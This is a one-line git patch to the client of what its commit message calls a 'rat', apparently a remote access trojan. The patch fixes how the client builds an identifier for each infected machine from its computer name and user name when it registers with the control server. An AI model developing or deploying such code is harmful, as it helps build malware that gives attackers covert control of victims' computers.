From 43f475a9b71ae922d12c9dad9f3c7128ac016ee7 Mon Sep 17 00:00:00 2001 From: BarsTiger Date: Mon, 30 May 2022 21:18:49 +0300 Subject: [PATCH] fixed rat not working if pc/username contains "-" --- client/daunRat.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/daunRat.py b/client/daunRat.py index cb99b10..ed66a8d 100644 --- a/client/daunRat.py +++ b/client/daunRat.py @@ -69,7 +69,7 @@ def handle_connection_to_server(connection): print("Connected to server") print("Server returned: " + str(connection)) try: - client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].split('-')[-1] + client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].removeprefix('admin-') .split('@')[0]) + 1) + f'@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}' except IndexError: client_id = f'0@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}'[:156]